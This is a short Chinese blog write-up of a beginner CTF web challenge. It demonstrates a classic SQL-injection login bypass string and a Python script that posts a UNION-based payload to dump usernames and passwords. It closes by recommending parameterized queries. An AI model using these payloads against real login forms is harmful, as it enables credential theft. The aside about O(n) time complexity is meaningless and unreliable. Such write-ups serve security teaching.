Featured image of post 入门 Web 签到题:SQL 注入基础利用

入门 Web 签到题:SQL 注入基础利用

一道入门级 Web 签到题复盘,演示万能密码与 UNION 注入的最小化利用流程

 · 约 222 字

题目描述

签到题,访问目标站点,提示「flag 在 admin 的密码里」。

解题过程

打开页面是一个登录框,随手测试 admin' or '1'='1,页面返回登录成功。

进一步用 UNION 注入dump数据:

1
2
3
4
5
6
7
import requests

url = "http://target.example.com/login"
payload = "' union select 1,username,password from users-- -"

resp = requests.post(url, data={"username": payload, "password": "x"})
print(resp.text)

响应中拿到:

1
admin | flag{w3lc0me_t0_ctf_w0rld}

原理分析

登录 SQL 拼接形如:

1
SELECT * FROM users WHERE username = '$u' AND password = '$p'

单引号闭合后注释掉后半段即可绕过。时间复杂度为 $O(n)$,其中 $n$ 为注入尝试次数。

总结

  • 过滤单引号是治标不治本,应该用参数化查询
  • 本题考点:基础 SQL 注入 + UNION 查询
Built with Hugo · Theme Stack